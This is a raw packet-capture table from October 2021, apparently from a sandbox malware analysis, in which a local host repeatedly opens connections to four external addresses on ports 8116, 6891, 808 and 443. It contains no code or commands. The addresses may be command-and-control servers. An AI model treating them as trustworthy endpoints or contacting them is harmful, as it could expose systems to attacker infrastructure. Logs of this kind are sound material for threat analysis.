Oct 28, 2021 04:52:07.601681948 CEST	8116	49902	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:07.601705074 CEST	8116	49902	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:07.601855993 CEST	49902	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:07.601917982 CEST	49902	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:07.603979111 CEST	49902	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:07.636815071 CEST	49903	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:07.660160065 CEST	8116	49902	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:07.680210114 CEST	6891	49901	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:07.693165064 CEST	8116	49903	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:07.693970919 CEST	49903	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:07.695749044 CEST	49903	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:07.710248947 CEST	49904	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:07.710283995 CEST	443	49904	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:07.710407972 CEST	49904	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:07.711071014 CEST	49904	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:07.711082935 CEST	443	49904	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:07.752064943 CEST	8116	49903	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:07.752326012 CEST	8116	49903	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:07.752396107 CEST	49903	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:07.752878904 CEST	49903	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:07.757262945 CEST	49903	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:07.757364035 CEST	49903	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:07.814115047 CEST	8116	49903	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:07.814155102 CEST	8116	49903	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:07.814414024 CEST	8116	49903	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:08.005104065 CEST	8116	49903	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:08.005124092 CEST	8116	49903	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:08.005244017 CEST	49903	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:08.005291939 CEST	49903	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:08.017288923 CEST	49903	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:08.073584080 CEST	8116	49903	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:08.134330034 CEST	49905	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:08.134396076 CEST	443	49905	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:08.134567022 CEST	49905	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:08.135291100 CEST	49905	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:08.135305882 CEST	443	49905	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:08.229091883 CEST	443	49904	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:08.229298115 CEST	49904	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:08.230345011 CEST	49904	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:08.230370998 CEST	443	49904	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:08.238487959 CEST	49904	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:08.238512993 CEST	443	49904	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:08.238683939 CEST	49904	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:08.238704920 CEST	443	49904	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:08.622395992 CEST	443	49905	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:08.622606993 CEST	49905	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:08.623775005 CEST	49905	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:08.623796940 CEST	443	49905	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:08.627526045 CEST	49905	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:08.627547979 CEST	443	49905	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:08.627690077 CEST	49905	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:08.627706051 CEST	443	49905	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:08.947758913 CEST	443	49904	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:08.947827101 CEST	443	49904	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:08.947937965 CEST	49904	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:08.948015928 CEST	49904	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:08.950253010 CEST	49904	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:08.950283051 CEST	443	49904	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:09.102027893 CEST	49906	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:09.261790991 CEST	808	49906	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:09.261914968 CEST	49906	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:09.262676954 CEST	49906	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:09.317601919 CEST	443	49905	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:09.317666054 CEST	443	49905	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:09.317714930 CEST	49905	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:09.317740917 CEST	49905	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:09.326913118 CEST	49905	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:09.326946974 CEST	443	49905	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:09.422715902 CEST	808	49906	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:09.422739983 CEST	808	49906	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:09.423044920 CEST	49906	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:09.423691988 CEST	49906	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:09.428303957 CEST	49906	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:09.428438902 CEST	49906	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:09.450416088 CEST	49907	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:09.583180904 CEST	808	49906	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:09.587850094 CEST	808	49906	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:09.587883949 CEST	808	49906	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:09.587902069 CEST	808	49906	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:09.612760067 CEST	808	49907	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:09.612876892 CEST	49907	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:09.613848925 CEST	49907	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:09.775924921 CEST	808	49907	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:09.775957108 CEST	808	49907	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:09.776029110 CEST	49907	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:09.776542902 CEST	49907	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:09.780246973 CEST	49907	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:09.780370951 CEST	49907	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:09.938625097 CEST	808	49907	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:09.942411900 CEST	808	49907	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:09.942434072 CEST	808	49907	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:09.942446947 CEST	808	49907	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:09.942460060 CEST	808	49907	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:09.942475080 CEST	808	49907	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:09.975912094 CEST	808	49906	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:09.975939035 CEST	808	49906	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:09.976099968 CEST	49906	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:09.976192951 CEST	49906	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:09.981564999 CEST	49906	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:10.100490093 CEST	49908	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:10.141079903 CEST	808	49906	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:10.265989065 CEST	6891	49908	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:10.266313076 CEST	49908	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:10.267014980 CEST	49908	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:10.323901892 CEST	808	49907	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:10.323936939 CEST	808	49907	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:10.324157953 CEST	49907	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:10.324249029 CEST	49907	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:10.332087994 CEST	49907	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:10.432189941 CEST	6891	49908	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:10.432267904 CEST	6891	49908	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:10.432348013 CEST	49908	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:10.433149099 CEST	49908	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:10.439856052 CEST	49908	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:10.440076113 CEST	49908	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:10.494343042 CEST	808	49907	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:10.502105951 CEST	49909	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:10.605295897 CEST	6891	49908	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:10.605321884 CEST	6891	49908	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:10.642076015 CEST	6891	49908	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:10.667426109 CEST	6891	49909	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:10.668865919 CEST	49909	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:10.668904066 CEST	49909	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:10.837310076 CEST	6891	49909	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:10.837696075 CEST	6891	49909	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:10.837984085 CEST	49909	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:10.838511944 CEST	49909	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:10.842386961 CEST	49909	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:10.842508078 CEST	49909	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:10.990771055 CEST	6891	49908	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:10.990799904 CEST	6891	49908	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:10.990850925 CEST	49908	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:10.990890026 CEST	49908	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:10.994328976 CEST	49908	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:11.007982969 CEST	6891	49909	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:11.008011103 CEST	6891	49909	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:11.008027077 CEST	6891	49909	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:11.102361917 CEST	49910	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:11.159250021 CEST	8116	49910	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:11.159383059 CEST	49910	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:11.159744978 CEST	6891	49908	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:11.160387039 CEST	49910	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:11.215836048 CEST	8116	49910	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:11.216042995 CEST	8116	49910	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:11.216120005 CEST	49910	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:11.216687918 CEST	49910	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:11.220546961 CEST	49910	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:11.220653057 CEST	49910	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:11.276098013 CEST	8116	49910	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:11.276124954 CEST	8116	49910	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:11.391592026 CEST	6891	49909	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:11.391618013 CEST	6891	49909	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:11.391751051 CEST	49909	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:11.391783953 CEST	49909	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:11.398648024 CEST	49909	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:11.459297895 CEST	8116	49910	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:11.459315062 CEST	8116	49910	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:11.459383011 CEST	49910	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:11.459427118 CEST	49910	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:11.461515903 CEST	49910	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:11.508665085 CEST	49911	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:11.516819000 CEST	8116	49910	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:11.564012051 CEST	6891	49909	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:11.568555117 CEST	8116	49911	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:11.568639994 CEST	49911	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:11.569262028 CEST	49911	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:11.570353031 CEST	49912	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:11.570379972 CEST	443	49912	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:11.570460081 CEST	49912	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:11.570986032 CEST	49912	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:11.570996046 CEST	443	49912	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:11.629030943 CEST	8116	49911	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:11.629435062 CEST	8116	49911	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:11.629508972 CEST	49911	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:11.630043983 CEST	49911	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:11.633733034 CEST	49911	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:11.633832932 CEST	49911	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:11.693576097 CEST	8116	49911	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:11.693598986 CEST	8116	49911	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:11.863303900 CEST	8116	49911	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:11.863329887 CEST	8116	49911	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:11.863473892 CEST	49911	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:11.863501072 CEST	49911	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:11.871704102 CEST	49911	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:11.931529045 CEST	8116	49911	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:12.002121925 CEST	49913	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:12.002166986 CEST	443	49913	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:12.002240896 CEST	49913	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:12.002914906 CEST	49913	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:12.002942085 CEST	443	49913	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:12.085520029 CEST	443	49912	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:12.085612059 CEST	49912	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:12.086277008 CEST	49912	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:12.086297989 CEST	443	49912	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:12.089937925 CEST	49912	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:12.089970112 CEST	443	49912	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:12.090008974 CEST	49912	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:12.090029955 CEST	443	49912	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:12.493588924 CEST	443	49913	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:12.493731022 CEST	49913	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:12.494362116 CEST	49913	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:12.494381905 CEST	443	49913	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:12.499947071 CEST	49913	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:12.499963045 CEST	443	49913	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:12.500097990 CEST	49913	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:12.500112057 CEST	443	49913	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:12.796550035 CEST	443	49912	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:12.796628952 CEST	443	49912	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:12.796868086 CEST	49912	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:12.801897049 CEST	49912	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:12.801932096 CEST	443	49912	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:12.978729010 CEST	49914	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:13.139457941 CEST	808	49914	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:13.139591932 CEST	49914	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:13.140975952 CEST	49914	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:13.184129953 CEST	443	49913	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:13.184194088 CEST	443	49913	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:13.184284925 CEST	49913	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:13.184314013 CEST	49913	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:13.189824104 CEST	49913	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:13.189852953 CEST	443	49913	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:13.304012060 CEST	808	49914	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:13.304265022 CEST	808	49914	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:13.304346085 CEST	49914	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:13.304862976 CEST	49914	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:13.307921886 CEST	49914	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:13.308037996 CEST	49914	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:13.311089993 CEST	49915	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:13.468170881 CEST	808	49914	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:13.470619917 CEST	808	49914	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:13.471333981 CEST	808	49914	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:13.471347094 CEST	808	49914	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:13.471812963 CEST	808	49914	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:13.474289894 CEST	808	49915	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:13.474462986 CEST	49915	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:13.475210905 CEST	49915	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:13.636828899 CEST	808	49915	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:13.637023926 CEST	808	49915	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:13.637173891 CEST	49915	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:13.638053894 CEST	49915	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:13.644777060 CEST	49915	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:13.644915104 CEST	49915	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:13.798008919 CEST	808	49915	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:13.804723978 CEST	808	49915	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:13.804740906 CEST	808	49915	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:13.804776907 CEST	808	49915	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:13.847353935 CEST	808	49914	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:13.847381115 CEST	808	49914	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:13.847718954 CEST	49914	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:13.853737116 CEST	49914	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:13.980345964 CEST	49916	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:14.013933897 CEST	808	49914	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:14.146935940 CEST	6891	49916	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:14.147234917 CEST	49916	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:14.147897959 CEST	49916	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:14.184752941 CEST	808	49915	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:14.184776068 CEST	808	49915	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:14.184874058 CEST	49915	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:14.190495968 CEST	49915	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:14.314474106 CEST	6891	49916	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:14.314549923 CEST	6891	49916	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:14.316143036 CEST	49916	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:14.316797972 CEST	49916	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:14.321300030 CEST	49916	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:14.321441889 CEST	49916	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:14.350574017 CEST	808	49915	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:14.386492968 CEST	49917	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:14.487773895 CEST	6891	49916	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:14.487811089 CEST	6891	49916	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:14.487819910 CEST	6891	49916	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:14.552932978 CEST	6891	49917	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:14.553143978 CEST	49917	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:14.553731918 CEST	49917	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:14.720074892 CEST	6891	49917	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:14.720134974 CEST	6891	49917	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:14.720339060 CEST	49917	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:14.720859051 CEST	49917	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:14.723754883 CEST	49917	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:14.723833084 CEST	49917	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:14.867795944 CEST	6891	49916	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:14.867824078 CEST	6891	49916	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:14.867964029 CEST	49916	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:14.871608019 CEST	49916	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:14.890048981 CEST	6891	49917	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:14.890080929 CEST	6891	49917	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:14.992903948 CEST	49918	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:15.037837029 CEST	6891	49916	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:15.048554897 CEST	8116	49918	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:15.048697948 CEST	49918	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:15.049361944 CEST	49918	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:15.104711056 CEST	8116	49918	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:15.104934931 CEST	8116	49918	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:15.105019093 CEST	49918	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:15.105547905 CEST	49918	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:15.109651089 CEST	49918	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:15.109761953 CEST	49918	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:15.165162086 CEST	8116	49918	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:15.165467024 CEST	8116	49918	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:15.271362066 CEST	6891	49917	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:15.271389961 CEST	6891	49917	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:15.271467924 CEST	49917	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:15.271516085 CEST	49917	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:15.282871962 CEST	49917	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:15.333359957 CEST	8116	49918	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:15.333388090 CEST	8116	49918	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:15.333494902 CEST	49918	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:15.336735964 CEST	49918	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:15.392256021 CEST	8116	49918	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:15.404006958 CEST	49919	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:15.446080923 CEST	49920	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:15.446145058 CEST	443	49920	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:15.446274996 CEST	49920	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:15.446988106 CEST	49920	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:15.447015047 CEST	443	49920	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:15.449559927 CEST	6891	49917	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:15.456528902 CEST	8116	49919	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:15.456687927 CEST	49919	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:15.457942963 CEST	49919	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:15.510587931 CEST	8116	49919	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:15.510761023 CEST	8116	49919	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:15.510850906 CEST	49919	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:15.511744022 CEST	49919	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:15.516108990 CEST	49919	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:15.516207933 CEST	49919	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:15.571811914 CEST	8116	49919	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:15.739368916 CEST	8116	49919	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:15.739398956 CEST	8116	49919	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:15.739590883 CEST	49919	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:15.739645958 CEST	49919	8116	192.168.2.5	185.56.219.47
